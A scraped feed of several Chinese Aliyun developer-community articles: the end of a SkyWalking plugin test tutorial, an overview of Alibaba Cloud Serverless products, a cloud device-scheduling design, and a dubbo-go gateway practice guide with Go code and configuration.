      [INFO] Scanning for projects...

      2. 修改配置文件

      修改mytest-scenario/support-version.list,添加支持的版本,这里用全部版本all。注意,默认没有指定版本,不会启动测试场景。

      # lists your version here  
      all

      3. 编写测试用例

      @RestController  
      @RequestMapping("/case")  
      public class CaseController {  
        
        private static final String SUCCESS = "Success";  
        
        @RequestMapping("/mytest-scenario")  
        @ResponseBody  
        public ResponseEntity testcase() {  
              //这里简单模拟,随机返回成功或者失败
              SecureRandom random = new SecureRandom();  
              if (random.nextBoolean()) {  
                  return ResponseEntity.ok(SUCCESS);  
              } else {  
                  return ResponseEntity.notFound().build();  
              }  
          }  
        
        @RequestMapping("/healthCheck")  
        @ResponseBody  
        public String healthCheck() {  
            // your codes  
            return SUCCESS;  
          }  
      }

      4. 本地测试testcase

      bash ./test/plugin/run.sh --debug mytest-scenario

      5. 提取测试收集的数据

      从日志文件提取收集的数据,actual data部分。
      日志文件:skywalking/test/plugin/workspace/mytest-scenario/all/logs/validatolr.out

      [2020-06-10 09:00:03:655] [INFO] - org.apache.skywalking.plugin.test.agent.tool.validator.assertor.DataAssert.assertEquals(DataAssert.java:29) - actual data:
      {
        "segmentItems": [
          {
            "serviceName": "mytest-scenario",
            "segmentSize": "2",
            "segments": [
              {
                "segmentId": "bfddda9bb70f49c694a90924b258a6da.32.15917795967760000",
                "spans": [
                  {
                    "operationName": "/mytest-scenario/case/healthCheck",
                    "operationId": "0",
                    "parentSpanId": "-1",
                    "spanId": "0",
                    "spanLayer": "Http",
                    "tags": [
                      {
                        "key": "url",
                        "value": "http://localhost:8080/mytest-scenario/case/healthCheck"
                      },
                      {
                        "key": "http.method",
                        "value": "HEAD"
                      }
                    ],
                    "startTime": "1591779596801",
                    "endTime": "1591779597069",
                    "componentId": "1",
                    "spanType": "Entry",
                    "peer": "",
                    "skipAnalysis": "false"
                  }
                ]
              },
              {
                "segmentId": "bfddda9bb70f49c694a90924b258a6da.33.15917795971310000",
                "spans": [
                  {
                    "operationName": "/mytest-scenario/case/mytest-scenario",
                    "operationId": "0",
                    "parentSpanId": "-1",
                    "spanId": "0",
                    "spanLayer": "Http",
                    "tags": [
                      {
                        "key": "url",
                        "value": "http://localhost:8080/mytest-scenario/case/mytest-scenario"
                      },
                      {
                        "key": "http.method",
                        "value": "GET"
                      }
                    ],
                    "startTime": "1591779597132",
                    "endTime": "1591779597141",
                    "componentId": "1",
                    "spanType": "Entry",
                    "peer": "",
                    "skipAnalysis": "false"
                  }
                ]
              }
            ]
          }
        ]
      }
      

      6. 编写expectedData.yaml

      segmentItems:  
        - serviceName: mytest-scenario  
          segmentSize: ge 1  
          segments:  
            - segmentId: not null  
              spans:  
                - operationName: /case/mytest-scenario  
                  operationId: 0  
                  parentSpanId: -1  
                  spanId: 0  
                  spanLayer: Http  
                  startTime: nq 0  
                  endTime: nq 0  
                  componentId: ge 1  
                  isError: false  
                  spanType: Entry  
                  peer: ''  
                  tags:  
                    - {key: url, value: 'http://localhost:8080/case/mytest-scenario'}  
                    - {key: http.method, value: GET}  
                  skipAnalysis: 'false'
      ]]>
      揭秘 SIGCOMM 20‘ 论文:阿里云网络洛神 VTrace 系统 | 技术日报(7期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 每日干货推荐

      揭秘 SIGCOMM 20‘ 论文:阿里云网络洛神 VTrace 系统>>>

      VTrace 是一个解决云网络持续性丢包问题的自动化诊断系统,核心思想是“任务-匹配-染色-采集-分析”,结合大数据技术,旨在实时快速的自动分析出云网络端到端的流量拓扑路径,并给出准确的问题原因和解决方案,让网络运维不再需要那么“专业”,那么“复杂”。

      免费下载!《阿里工程师的自我修养》公开10位阿里大牛解决问题的思维方式>>>

      阿里技术公布一波阿里P8、P9技术大牛的思维模型,将他们的思维模式呈现出来。你可以在阿里资深专家职业生涯的真切感悟中,找到应对危机的最佳方法。《阿里工程师的自我修养》现已正式公开,可免费下载阅读。

      更多精彩文章

      预览速度提升30倍,这是什么黑科技?(天猫618之3D渲染篇)>>>

      天猫618宣布的 3D 购物时代,相信有很多小伙伴好奇,这背后有哪些“黑科技”?橙子从以下三点为你揭秘——3D实景复刻、3D渲染、3D算法,上周讲了《天猫618宣布开启3D购物时代,实景逛街背后的技术是这样实现的》,本期将和大家分享 AceRay 极速渲染。

      一张图讲清楚淘宝直播背后技术( 赠送多媒体前端手册)>>>

      2020年,直播带货火爆全网。想一探淘宝直播背后的前端技术?本文将带你进入淘宝直播前端技术的世界。 对于大多数前端工程师来说,音视频技术是一个比较少涉足的领域,本文涵盖了流媒体技术中的文本、图形、图像、音频和视频多种理论知识,涉及到播放器、web媒体技术、主流框架等介绍,只需要花上一点点时间,你将进入前端多媒体的领域。

      如何画好一张架构图?>>>

      架构图是什么?为什么要画架构图?如何画?有哪些方法?本文从架构的定义说起,分享阿里文娱高级技术专家箫逸关于画架构图多年的经验总结,并对抽象这一概念进行了深入地讨论。较长,同学们可收藏后再看。

      精品公开课

      云原生下的开发测试>>>

      本次分享将结合实际场景,演绎阿里在管理测试环境中积累的经验和方法,并带来一款面向采用云原生技术栈的IT企业和开发者的测试环境治理开源解决方案。

      新一代高效Git协同模型>>>

      本次分享将会介绍在阿里巴巴内部是孵化这个Git新特性的过程,将其贡献到社区所经历的功能演进,以及该特性将会给代码开发模式带来的革新。

      快速交付云原生应用的 3 种发布策略详解>>>

      交付策略决定交付结果,通常一次交付主要包含网络的变更和服务载体的变更,如何保证决定了交付过程中的可靠性、连续性、稳定性?本次课程将介绍 3 种常用的应用交付策略。

      ]]>
      从零入门 Serverless | 一文详解 Serverless 技术选型-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 6.12头图.png

      作者 | 李国强  阿里云资深产品专家

      本文整理自《Serverless 技术公开课》。关注“Serverless”公众号,回复“入门”,即可获取 Serverless 系列文章 PPT。

      今天来讲,在 Serverless 这个大领域中,不只有函数计算这一种产品形态和应用类型,而是面向不同的用户群体和使用习惯,都有其各自适用的 Serverless 产品。例如面向函数的函数计算、面向应用的 Serverless 应用引擎、面向容器的 Serverless Kubernetes,用户可以根据自己的使用习惯、使用场景或者应用类型,去选择使用什么样的 Serverless 产品。下面通过本文给大家介绍一下,阿里云都有哪些可供大家选择的 Serverless 产品。

      Serverless 产品及分层

      众所周知,最早提出 Serverless 的是 AWS,其在 Serverless 领域的旗舰产品是 function compute。同样阿里云也有函数计算的产品,帮助用户构建 Serverless 函数。但 Serverless 不仅仅是函数,如下图所示,其实用户会期望在应用、容器等层面也能够享受到 Serverless 的好处,包括按量付费、极致弹性等,这样也更符合用户原有的使用习惯。

      幻灯片2.JPG

      在上图中,大家能够看到,阿里云针对函数、应用和容器都推出了对应的 Serverless 产品,用户可以针对自己的使用场景选择不同的产品。

      函数计算 

      1. 函数计算介绍

      幻灯片3.JPG

      上图展示了函数计算的使用方式。从用户角度,他需要做的只是编码,然后把代码上传到函数计算中。这个时候还不会产生费用,只有到被调用的时候才有费用。调用的方式可以是产品提供的 API/SDK,也可以通过一些事件源,比如阿里云的 OSS 的事件。比如用户往 OSS 里的某一个 bucket 上传了一个文件,希望这个文件被自动处理;比如上传一个 zip 包,希望能够自动解压到另外一个 bucket,这都是很典型的函数场景。

      另外,函数计算能够提供非常好的弹性能力,最终的费用是根据时长和内存数进行计费的,如果调用量小的话,只会有很少的费用。并且它在语言方面也非常丰富,常用的 nodejs、php、python、java 都直接支持。同时提供自定义的运行环境,可以支持任意的可执行的语言。

      2. 函数计算典型场景

      幻灯片4.JPG

      从使用场景来说,主要有三类:

      • Web 应用:可以是各种语言写的,这种可以使用 Serverless 框架新编写的程序,也可以是已有的应用。比如小程序后端、或者发布到 API 市场的 API 后端应用等;
      • 对计算能力有很强的弹性诉求的应用:比如 AI 推理、音视频处理、文档转换等;
      • 事件驱动型的应用:比如通过其他阿里云产品驱动的场景、Web Hook、定时任务等,函数计算已经与很多产品进行了打通,比如对象存储、表格存储、定时器、CDN、日志服务、云监控等,可以非常快速地组装出一些业务逻辑。

      3. 函数计算核心竞争力

      幻灯片5.JPG

      函数计算对客户的一个最大的价值,就是能够让用户只关注自己的业务逻辑开发,完全不需要管理运维,诸如计算资源、网络设置等都不需要关心。在隔离性上提供 vm 级别的隔离,保证用户在运行时的数据安全、运行时安全等;在可用性方面默认提供 3az 的高可用架构,保证客户默认就是高可用的最佳实践架构;在弹性方面,可以做到毫秒级的弹性效率,满足客户突发的流量冲击;在计费方面也非常灵活,真正按照用户的请求情况进行收费,也支持对 long run 的应用更友好的预付费模式。

      Serverless 应用引擎

      1. SAE 概述

      幻灯片6.JPG

      SAE 是业内首款面向应用的 Serverless Paas 平台。这个产品以面向应用的视角,帮助用户在不做任何修改的前提下把存量应用上到云端。在资源层,用户不再需要自己管理和运维机器及集群,只需要关注自己应用所需要使用的规格以及实例数,不再需要关心底层是虚机还是容器。

      SAE 从资源层面提供计算资源、弹性、隔离性等能力,让用户只需要关注自己的应用。在应用层,SAE 提供了监控、日志、微服务治理等能力,帮助用户解决应用可观测性和治理需求。同时提供网络配置、流量控制能力,提供了和 CICD 良好的集成,用户可以使用已有 CICD 部署到 SAE,比如 jenkins、云效等,可以说覆盖了应用上云的完整场景。

      2. SAE 典型场景

      幻灯片7.JPG

      SAE 有几个典型的使用场景,一个是存量业务上云,特别是微服务、java 应用,同时也支持其他语言的单体应用,都能够通过 SAE 这个平台运行在阿里云上,并且不需要做任何代码的修改。在行业方面,SAE 特别适合有比较大的流量波动的在线业务,比如电商大促、在线教育等行业的场景。另外 SAE 作为应用平台也可以被上层的行业 Saas 所集成,帮助用户更快地构建行业 Saas。

      3. SAE 特性

      幻灯片8.JPG

      通过上面的场景介绍,我们可以看到 SAE 除了 Serverless 体验本身所带来的极致弹性、免运维等特性之外,重点在应用层给用户提供全栈的能力,包括对微服务的增强支持,以及整合了和应用息息相关的能力,包括配置、监控、日志、流量控制等。再加上用户零代码的改动,是企业在线业务平滑上云非常好的选择。

      Serverless Kubernetes

      1. ASK 概述

      幻灯片9.JPG

      另一个阿里云提供的 Serverless 产品是 Serverless K8s。但是 K8s 怎么还能 Serverless 呢?这就需要先了解一下技术架构的演进历程。

      最早的时候大家都把 Docker 镜像部署在虚机里,用户需要购买 ECS,然后部署镜像,最后是网络的一些配置,比如 SLB、EIP 等。在这个过程中,用户需要自己完成部署动作,扩容需要自己重复上面的动作,或者自己构建一套自动化脚本,相对来说成本和稳定性都比较低。

      之后有了 K8s 来帮大家解决容器编排的问题。这种标准化的方式确实大大提高了大家的生产力。用户通过使用 deployment、service 等标准的 K8s 的方式进行编排,并进行部署。但 K8s 的运维和管理还是相对比较复杂的,技能要求比较高,用户需要运维 ECS 以及通过 ECS 构建出来的 K8s。另外一个痛点时 K8s 集群里的 ECS 是需要预先购买的,如果客户的负载有比较大的波动,就会出现比较多的资源浪费。虽然技术上也有解决方案,比如 worker node 的弹性,但这对于初级用户来说,还是有比较高的复杂度。

      那有没有一种方案可以让用户既能享受到 K8s 提供的容器编排能力,又能够不需要关心 ECS 和 K8s 的运维、管理和弹性问题呢?这就是 Serverless K8s 的方案。对应到阿里云的产品就是 ASK。在 ASK 的方案里,用户创建一个 ASK 集群,但不需要指定任何 ECS 节点,然后通过标准的 K8s 容器编排、deployment 等部署镜像。ASK 会根据用户的负载需求,自动在底层资源池构建需要的 POD 并进行弹性伸缩,用户不再需要关心容量规划、ECS 机器运维、资源限制等 LaaS 层的问题,非常便利。

      2. ASK 典型场景

      幻灯片10.JPG

      那 ASK 主要用在哪些场景里呢?首先可以用来跑在线业务,部署模式灵活,可以是 deployment、helm chart 等所有的 K8s 原生模式,特别是能够很好地应对突发流量,极致弹性,可以在 30 秒完成 500 个容器实例的弹性。这样的弹性效率,可以很好地支撑大数据计算类的任务,比如 Spark、Presto 等,也可以在需要的时候即时获取资源,支撑 10000 以上 Pod 的规格,有效降低客户成本。

      另外一个非常适合的场景是用来构建随需启动的构建任务,比如在 ASK 中运行 jenkins、Gitlab-Runner 等。在有构建任务的时候,即时启动。没有任务的时候 0 消费,成本做到最低。这里只是列出了一些例子的场景,实际上基于 ASK 的这个特性,用户可以运行很多 K8s 原生的需要极致弹性的工作负载。

      3. ASK 特性

      幻灯片11.JPG

      ASK 完全容器部署,通过容器进行隔离。在使用的过程中,用户无需运维 ECS 或者 K8s 集群,也不需要考虑集群升级、容量规划、OS 及系统软件问题等事情,理论上可以提供无限的弹性容量。因为是完全按照使用量进行收费,所以就不需要为限制资源付费。

      总结

      总结一下,可以看到阿里云今天在 Serverless 领域有非常多样的产品,既有面向函数的函数计算,用户可以只关注代码,快速开发交付;也有面向应用的 Serverless 应用引擎,让用户更关注应用视角,并且提供了围绕应用的一系列能力,包括监控、日志、流量等能力的集成;对于更习惯 K8s 生态的用户,ASK 让用户在不改变当前 K8s 使用习惯的前提下,也能享受到 Serverless 的优势。多样的产品,在满足不同用户诉求的同时,也使用户体验到了 Serverless 的免运维、极致弹性、按量付费等优势。

      课程推荐

      为了更多开发者能够享受到 Serverless 带来的红利,这一次,我们集结了 10+ 位阿里巴巴 Serverless 领域技术专家,打造出最适合开发者入门的 Serverless 公开课,让你即学即用,轻松拥抱云计算的新范式——Serverless。

      点击即可免费观看课程:https://developer.aliyun.com/learning/roadmap/serverless

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      通过合理调度设备,降低企业设备成本-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 背景

      岩鼠平台,支持云真机租用,也支持自动化测试。其背后都是大量设备资源的使用,而真机测试设备及自动化测试的设备资源是否能合理利用,关系到企业的设备成本。如何达到设备利用最大化呢,有几个维度需要考虑:

      • 在保证真机测试需求下,合理利用空闲机器进行自动化测试
      • 不同自动化测试类型测试时长不同
      • 不同测试类型对设备机型要求不同
      • 更大程度的延缓设备老化

      为了保证真机测试需求,同时提升整体自动化测试的成功率和稳定性,也为了能让各台设备达到最大利用率,岩鼠平台做了不少设计和优化,积累了一些经验,在此与各位读者分享一下。

      解决方案

      整体概述

      首先,由于云真机和自动化都会占用机器,我们可以根据云真机的使用需求,为云真机和不同的自动化测试各自分配自己的设备池子。但由于需求是在一定范围内波动,不是完全定量的,因此可以将部分设备设置为共用,这样能最大程度的将设备利用起来。

      而其中的难点又在于,对于自动化测试来说,有多个设备池子,不同测试对设备的要求又不同,通过什么样的策略才能更大程度的保障任务成功率和设备利用率呢?接下来将对此重点介绍。

      自动化测试中,从任务创建开始,到任务在各个具体设备上执行,总共经历了三个阶段,分别是:设备准备、设备规则筛选、设备排位与占用,可选设备逐阶段减少,大体如下:

      阶段一:设备准备

      本阶段主要是初步筛选出适合待分配任务的基础设备池,其中主要有以下流程:

      1. 若用户创建任务时有指定的分配策略,则预加载,否则使用默认策略,例如目前岩鼠平台开放了“随机”策略,则在此处会预加载“随机”策略设置的关联约束和筛选偏好;
      2. 不同的测试类型(如兼容性,或者是深度智能遍历),需要加载不同的设备组,一是考虑到术业有专攻,里面都是经过平台精心挑选和分类的适合该测试场景的设备,二是尽量减少彼此之间的影响,例如对于同一台设备,平台是会争取避免上一个跑偏重于性能测试的任务,而下一个却是跑偏重于稳定性的任务;
      3. 筛选用户权限范围内的设备;
      4. 准备好设备的各种筛选属性,并根据一定时间内的已运行任务数和运行时间,通过特定公式算出一个值,可以认为这个值就是该设备的疲劳系数。

      通过上述可知,此处提到的策略和设备组,都是平台已经预置好的,也会随着已有的运行结果和实际的业务发展而持续演变,并结合大数据平台进行优化,这里就不再展开了。

      阶段二:设备规则筛选

      从处理逻辑来看,这阶段更像是一个规则引擎,根据需求可加载不同的插件,进一步优选出符合实际测试要求的可运行设备池,目前已支持的有:

      • 根据app设置去筛选所需设备的最低/最高版本,例如某些应用只能运行在Android 6.0以上的设备,这也是保证任务成功的前提条件之一;
      • 默认会根据疲劳系数和过往任务成功率进行优先级排列,也可以接受自定义权值,例如是看重成功率,则将成功率的权值提高,或者是想要优先使用较“新”的设备,则可以结合疲劳系数和入库时间传入权值,这些都会影响到设备的推荐分数;
      • 默认是“随机”策略,但也可定制其它策略,例如Android的API遍历,就是从每个Android版本里面各挑出一台设备组成测试,以达到测试版本兼容性的目的;
      • 可指定特定品牌或特定机型进行测试,当然也少不了TOP10、TOP20、TOP50的维度;
      • ……

      这里的筛选插件相互之间基本是“且”的关系,即对设备进行层层过滤,若有特殊需求,也可以配置出“或”的关联;对于有经验的开发者,查看接口文档之后,一般一两个小时即可开发出一个新插件,测试通过之后就能注册到容器中,从而对外提供服务。

      阶段三:设备排位与占用

      经过层层筛选之后,最终落实到占用设备的环节,又细分出两大步骤:

      1. 经过上面两个步骤,每台设备都会有一个推荐分数,此处会根据分数进行区间划分(可以考虑下为啥不直接按分数高低倒序分配),高分区间会优先被占,分到同一区间的则会进行疲劳系数排队,系数越小,排名越前,最终得到提权后的设备队列;若排名也一致,则再进行随机出列的处理;
      2. 从队列取出第一台设备,若设备能被占用,则落实到该子任务;若设备占用失败,则继续下一设备的尝试,直到没有空余设备,或清空了子任务列表,则整体分配完毕。

      优缺点

      人无完人,更何况是管理了这么多“性格各异”的设备的方案呢,先说说好的方面:

      • 由于疲劳系数的引入,除开某些崩得太严重的个体,用于自动化测试的设备都有机会、且平均地被分配到任务,需要注意的是,这里说的平均,不是绝对的平均,还是要看设备本身的素质,若能力越强,分到的任务也多,反之亦然;
      • 筛选插件可不断扩展,快速满足各种分配需求;
      • 毕竟最终都是对口的设备,可有效提高任务成功率。
        至于不好的,在设计之初也是有所预见:
      • 存在一些重复或无用的查询问题,例如算了好几台设备的疲劳系数,但可能在筛选中早早就被过滤了;
      • 并发性能受到约束,考虑这么一个场景:一个任务不要的设备,却是另一个任务需要的。

      未来方向

      更进一步提升设备分配策略和算法,更大程度的提升设备利用率,在满足业务需求的情况下,降低成本:

      • 彻底的分布式处理;
      • 结合大数据,构筑更全面的优选规则;
      • 真正AI的引入,实现更精准、更快速的推荐,减少人工开发。

      免费试用岩鼠云设备平台

      赶快来试用下岩鼠云真机吧!每天都有免费试用体验额度哦。

      岩鼠云设备平台-云端设备,触手可及

      ]]>
      涂鸦智能 dubbo-go 亿级流量的实践与探索-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.png

      作者 | 潘天颖,Github ID @pantianying,开源爱好者,就职于涂鸦智能

      dubbo 是一个基于 Java 开发的高性能的轻量级 RPC 框架,dubbo 提供了丰富的服务治理功能和优秀的扩展能力。而 dubbo-go 在 java 与 golang 之间提供统一的服务化能力与标准,是涂鸦智能目前最需要解决的主要问题。本文分为实践和快速接入两部分,分享在涂鸦智能的 dubbo-go 实战经验,意在帮助用户快速接入 dubbo-go RPC 框架,希望能让大家少走些弯路。另外,文中的测试代码基于 dubbo-go版本 v1.4.0。

      dubbo-go 网关实践

      2.png

      dubbo-go 在涂鸦智能的使用情况如上图,接下来会为大家详细介绍落地细节,希望这些在生产环境中总结的经验能够帮助到大家。

      1. 背景

      在涂鸦智能,dubbo-go 已经作为了 golang 服务与原有 dubbo 集群打通的首选 RPC 框架。其中比较有代表性的 open-gateway 网关系统(下文统一称 gateway,开源版本见 https://github.com/dubbogo/dubbo-go-proxy)。该 gateway 动态加载内部 dubbo 接口信息,以HTTP API 的形式对外暴露。该网关意在解决上一代网关的以下痛点。

      • 通过页面配置 dubbo 接口开放规则,步骤繁琐,权限难以把控;
      • 接口非 RESTful 风格,对外部开发者不友好;
      • 依赖繁重,升级风险大;
      • 并发性能问题。

      2. 架构设计

      针对如上痛点,随即着手准备设计新的 gateway 架构。首先就是语言选型,golang 的协程调用模型使得 golang 非常适合构建 IO 密集型的应用,且应用部署上也较 java 简单。

      经过调研后我们敲定使用 golang 作为 proxy 的编码语言,并使用 dubbo-go 用于连接 dubbo provider 集群。provider 端的业务应用通过使用 java 的插件,以注解形式配置 API 配置信息,该插件会将配置信息和 dubbo 接口元数据更新到元数据注册中心(下图中的 redis )。这样一来,配置从管理后台页面转移到了程序代码中。开发人员在编码时,非常方便地看到 dubbo 接口对外的 API 描述,无需从另外一个管理后台配置 API 的使用方式。

      3.png

      3. 实践

      从上图可以看到,网关能动态加载 dubbo 接口信息,调用 dubbo 接口是基于 dubbo 泛化调用。泛化调用使 client 不需要构建 provider 的 interface 代码,在 dubbo-go 中表现为无需调用 config.SetConsumerService 和 hessian.RegisterPOJO 方法,而是将请求模型纯参数完成,这使得 client 动态新增、修改接口成为可能。在 apache / dubbo-sample / golang / generic / go-client 中的有泛化调用的演示代码。

      func test() {
          var appName = "UserProviderGer"
          var referenceConfig = config.ReferenceConfig{
              InterfaceName: "com.ikurento.user.UserProvider",
              Cluster:       "failover",
              Registry:      "hangzhouzk",
              Protocol:      dubbo.DUBBO,
              Generic:       true,
          }
          referenceConfig.GenericLoad(appName) // appName is the unique identification of RPCService
          time.Sleep(3 * time.Second)
          resp, err := referenceConfig.GetRPCService().(*config.GenericService).
              Invoke([]interface{}{"GetUser", []string{"java.lang.String"}, []interface{}{"A003"}})
          if err != nil {
              panic(err)
          }
      }

      泛化调用的实现其实相当简单。其功能作用在 dubbo 的 Filter 层中。Generic Filter 已经作为默认开启的 Filter 加入到 dubbo Filter 链中。其核心逻辑如下:

      func (ef *GenericFilter) Invoke(ctx context.Context, invoker protocol.Invoker, invocation protocol.Invocation) protocol.Result {
          if invocation.MethodName() == constant.GENERIC && len(invocation.Arguments()) == 3 {
              oldArguments := invocation.Arguments()
              if oldParams, ok := oldArguments[2].([]interface{}); ok {
                  newParams := make([]hessian.Object, 0, len(oldParams))
                  for i := range oldParams {
                      newParams = append(newParams, hessian.Object(struct2MapAll(oldParams[i])))
                  }
                  newArguments := []interface{}{
                      oldArguments[0],
                      oldArguments[1],
                      newParams,
                  }
                  newInvocation := invocation2.NewRPCInvocation(invocation.MethodName(), newArguments, invocation.Attachments())
                  newInvocation.SetReply(invocation.Reply())
                  return invoker.Invoke(ctx, newInvocation)
              }
          }
          return invoker.Invoke(ctx, invocation)
      }

      Generic Filter 将用户请求的结构体参数转化为统一格式的 map(代码中的 struct2MapAll ),将类( golang 中为 struct )的正反序列化操作变成 map 的正反序列化操作。这使得无需 POJO 描述通过硬编码注入 hessain 库。

      从上面代码可以看到,泛化调用实际需要动态构建的内容有 4 个,ReferenceConfig 中需要的 InterfaceName、参数中的 method、ParameterTypes、实际入参 requestParams。

      那么这些参数是如何从 HTTP API 匹配获取到的呢?

      这里就会用到上文提到的 provider 用于收集元数据的插件。引入插件后,应用在启动时会扫描需要暴露的 dubbo 接口,将 dubbo 元数据和 HTTP API 关联。插件使用方法大致如下,这里调了几个简单的配置作为示例,实际生产时注解内容会更多。

      4.png

      最终获得的 dubbo 元数据如下:

      {
          "key": "POST:/hello/{uid}/add",
          "interfaceName": "com.tuya.hello.service.template.IUserServer",
          "methodName": "addUser",
          "parameterTypes": ["com.tuya.gateway.Context", "java.lang.String", "com.tuya.hello.User"],
          "parameterNames": ["context", "uid", "userInfo"],
          "updateTimestamp": "1234567890",
          "permissionDO":{},
          "voMap": {
              "userInfo": {
                  "name": "java.lang.String",
                  "sex": "java.lang.String",
                  "age": "java.lang.Integer"
              }
          },
          "parameterNameHumpToLine": true,
          "resultFiledHumpToLine": false,
          "protocolName": "dubbo",
        .......
      }

      Gateway 从元数据配置中心订阅到以上信息,就能把一个 API 请求匹配到一个 dubbo 接口。再从 API 请求中抓取参数作为入参。这样功能就完成了流量闭环。

      以上内容,大家应该对此 gateway 的项目拓扑结构有了清晰的认知。我接着分享项目在使用 dubbo-go 过程中遇到的问题和调优经验。19 年初,当时的 dubbo-go 项目还只是构建初期,没有什么用户落地的经验。我也是一边参与社区开发,一边编码公司内部网关项目。在解决了一堆 hessain 序列化和 zookeeper 注册中心的问题后,项目最终跑通了闭环。但是,作为一个核心应用,跑通闭环离上生产环境还有很长的路要走,特别是使用了当时稳定性待测试的新框架。整个测试加上功能补全,整整花费了一个季度的时间,直到项目趋于稳定,压测效果也良好。单台网关机器( 2C 8G )全链路模拟真实环境压测达到 2000 QPS。由于引入了比较重的业务逻辑(单个请求平均调用 3 个 dubbo 接口),对于这个压测结果,是符合甚至超出预期的。

      总结了一些 dubbo-go 参数配置调优的经验,主要是一些网络相关配置。

      大家在跑 demo 时,应该会看到配置文件最后有一堆配置,但如果对 dubbo-go 底层网络模型不熟悉,就很难理解这些配置的含义。目前 dubbo-go 网络层以 getty 为底层框架,实现读写分离和协程池管理。getty 对外暴露 session 的概念,session 提供一系列网络层方法注入的实现,因为本文不是源码解析文档,在这里不过多论述。读者可以简单的认为 dubbo-go 维护了一个 getty session池,session 又维护了一个 TCP 连接池。对于每个连接,getty 会有读协程和写协程伴生,做到读写分离。这里我尽量用通俗的注释帮大家梳理下对性能影响较大的几个配置含义:

      protocol_conf:
        # 这里是协议独立的配置,在dubbo协议下,大多数配置即为getty session相关的配置。
        dubbo:
            # 一个session会始终保证connection_number个tcp连接个数,默认是16,
          # 但这里建议大家配置相对小的值,一般系统不需要如此多的连接个数。
          # 每隔reconnect_interval时间,检查连接个数,如果小于connection_number,
          # 就建立连接。填0或不填都为默认值300ms
          reconnect_interval: 0
          connection_number: 2
          # 客户端发送心跳的间隔
          heartbeat_period: "30s"
          # OnCron时session的超时时间,超过session_timeout无返回就关闭session
          session_timeout: "30s"
          # 每一个dubbo interface的客户端,会维护一个最大值为pool_size大小的session池。
          # 每次请求从session池中select一个。所以真实的tcp数量是session数量*connection_number,
          # 而pool_size是session数量的最大值。测试总结下来一般程序4个tcp连接足以。
          pool_size: 4
          # session保活超时时间,也就是超过session_timeout时间没有使用该session,就会关闭该session
          pool_ttl: 600
          # 处理返回值的协程池大小
          gr_pool_size: 1200
          # 读数据和协程池中的缓冲队列长度,目前已经废弃。不使用缓冲队列
          queue_len: 64
          queue_number: 60
          getty_session_param:
            compress_encoding: false
            tcp_no_delay: true
            tcp_keep_alive: true
            keep_alive_period: "120s"
            tcp_r_buf_size: 262144
            tcp_w_buf_size: 65536
            pkg_wq_size: 512
            tcp_read_timeout: "1s"  # 每次读包的超时时间
            tcp_write_timeout: "5s" # 每次写包的超时时间
            wait_timeout: "1s" 
            max_msg_len: 102400     # 最大数据传输长度
            session_name: "client"

      dubbo-go 快速接入

      前文已经展示过 dubbo-go 在涂鸦智能的实践成果,接下来介绍快速接入 dubbo-go 的方式。

      第一步:hello world

      dubbo-go 使用范例目前和 dubbo 一致,放置在 apache/dubbo-samples 项目中。在 dubbo-sample/golang 目录下,用户可以选择自己感兴趣的 feature 目录,快速测试代码效果。

      tree dubbo-samples/golang -L 1
      dubbo-samples/golang
      ├── README.md
      ├── async
      ├── ci.sh
      ├── configcenter
      ├── direct
      ├── filter
      ├── general
      ├── generic
      ├── go.mod
      ├── go.sum
      ├── helloworld
      ├── multi_registry
      └── registry

      我们以 hello world 为例,按照 dubbo-samples/golang/README.md 中的步骤,分别启动 server 和 client 。可以尝试 golang 调用 java 、 java 调用 golang 、golang 调用 golang 、java 调用 java。dubbo-go 在协议上支持和 dubbo 互通。

      我们以启动 go-server 为例,注册中心默认使用 zookeeper 。首先确认本地的 zookeeper 是否运行正常。然后执行以下命令,紧接着你就可以看到你的服务正常启动的日志了。

      export ARCH=mac
      export ENV=dev
      cd dubbo-samples/golang/helloworld/dubbo/go-server
      sh ./assembly/$ARCH/$ENV.sh
      cd ./target/darwin/user_info_server-2.6.0-20200608-1056-dev/
      sh ./bin/load.sh start

      第二步:在项目中使用 dubbo-go

      上面,我们通过社区维护的测试代码和启动脚本将用例跑了起来。接下来,我们需要在自己的代码中嵌入 dubbo-go 框架。很多朋友往往是在这一步遇到问题,这里我整理的一些常见问题,希望能帮到大家。

      1)环境变量

      目前 dubbo-go 有 3 个环境变量需要配置:

      • CONF_CONSUMER_FILE_PATH:Consumer 端配置文件路径,使用 consumer 时必需;
      • CONF_PROVIDER_FILE_PATH:Provider 端配置文件路径,使用 provider 时必需;
      • APP_LOG_CONF_FILE:Log 日志文件路径,必需;
      • CONF_ROUTER_FILE_PATH:File Router 规则配置文件路径,使用 File Router 时需要。

      2)代码注意点

      • 注入服务 : 检查是否执行以下代码
      # 客户端
      func init() {
        config.SetConsumerService(userProvider)
      }
      # 服务端
      func init() {
        config.SetProviderService(new(UserProvider))
      }
      • 注入序列化描述 :检查是否执行以下代码
      hessian.RegisterJavaEnum(Gender(MAN))
        hessian.RegisterJavaEnum(Gender(WOMAN))
        hessian.RegisterPOJO(&User{})

      3)正确理解配置文件

      • references / services 下的 key ,如下面例子的 "UserProvider" 需要和服务 Reference() 返回值保持一致,此为标识改接口的 key。
         
      references:
      "UserProvider":
        registry: "hangzhouzk"
        protocol : "dubbo"
        interface : "com.ikurento.user.UserProvider"
        cluster: "failover"
        methods :
        - name: "GetUser"
          retries: 3
      • 注册中心如果只有一个注册中心集群,只需配置一个。多个 IP 用逗号隔开,如下:
      registries :
      "hangzhouzk":
        protocol: "zookeeper"
        timeout    : "3s"
        address: "172.16.120.181:2181,172.16.120.182:2181"
        username: ""
        password: ""

      4)java 和 go 的问题

      go 和 java 交互的大小写 :golang 为了适配 java 的驼峰格式,在调用 java 服务时,会自动将 method 和属性首字母变成小写。很多同学故意将 java 代码写成适配 golang 的参数定义,将首字母大写,最后反而无法序列化匹配。

      第三步:拓展功能

      dubbo-go 和 dubbo 都提供了非常丰富的拓展机制。可以实现自定义模块代替 dubbo-go 默认模块,或者新增某些功能。比如实现 Cluster、Filter 、Router 等来适配业务的需求。这些注入方法暴露在 dubbo-go/common/extension 中,允许用户调用及配置。

      阿里巴巴编程之夏第二期正在火热报名中!

